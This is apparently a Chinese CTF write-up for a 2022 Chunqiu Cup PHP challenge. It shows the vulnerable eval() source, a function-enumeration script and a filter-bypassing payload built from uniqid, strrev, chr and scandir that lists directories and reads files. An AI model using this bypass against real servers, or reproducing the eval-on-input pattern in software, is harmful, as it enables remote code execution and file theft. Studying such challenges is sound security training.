2022年春秋杯网络安全联赛春季赛勇者山峰-Mercy-code[WEB]

Mercy-code

这道题参考这篇博客

打开环境,很明显的无参数rce类型的题

  • 思路一 读文件,一般是要构造 . … / 能改变目录,进行文件读取
  • 思路二 RCE,可以利用请求头里面的字段等传入命令
<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {
    $cmd = $_POST['cmd'];
    if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {
        if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {
            die('What are you thinking?');
        } else {
            eval($cmd);
        }
    } else {
        die('Please calm down');
    }
}

过滤比较严格,通过两个脚本,找到所有内置函数,和可以使用的函数

<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {
 echo fputs($file,$key."\r\n");
}
fclose($file);
?>

另一个fuzz脚本参考这个博客,使用效果如下

在这里插入图片描述

找了很久能利用的函数,找到了uniqid(),这个函数前部分的内容是不变的,每次改变的是后面的内容,

  • strrev() 函数将字符串反转

  • chr 生成 . .. \ 这样字符

  • scandir() 返回目录

  • implode() 将一维数组转换成字符串

  • die() 结束进程,并输出内容,等同于 exit()

构造payload如下

cmd=die(implode(scandir(chr(strrev(uniqid())))));

然后就是通过burp连续发包,chr(uniqid())有几率生成 .

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CBy345II-1651921910024)(images/Ichunqiu_wp/image-20220507185931156.png)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qmzp3QMP-1651921975755)(images/Ichunqiu_wp/image-20220507185953887.png)]

然后就是读取文件,这里利用end()函数得到文件名

  • end() 将数组的内部指针指向最后一个单元
  • show_source() 语法高亮一个文件 highlight_file() 别名

用burp发包,可以看到有成功的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zosTdyzg-1651921910025)(images/Ichunqiu_wp/image-20220507190336957.png)]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值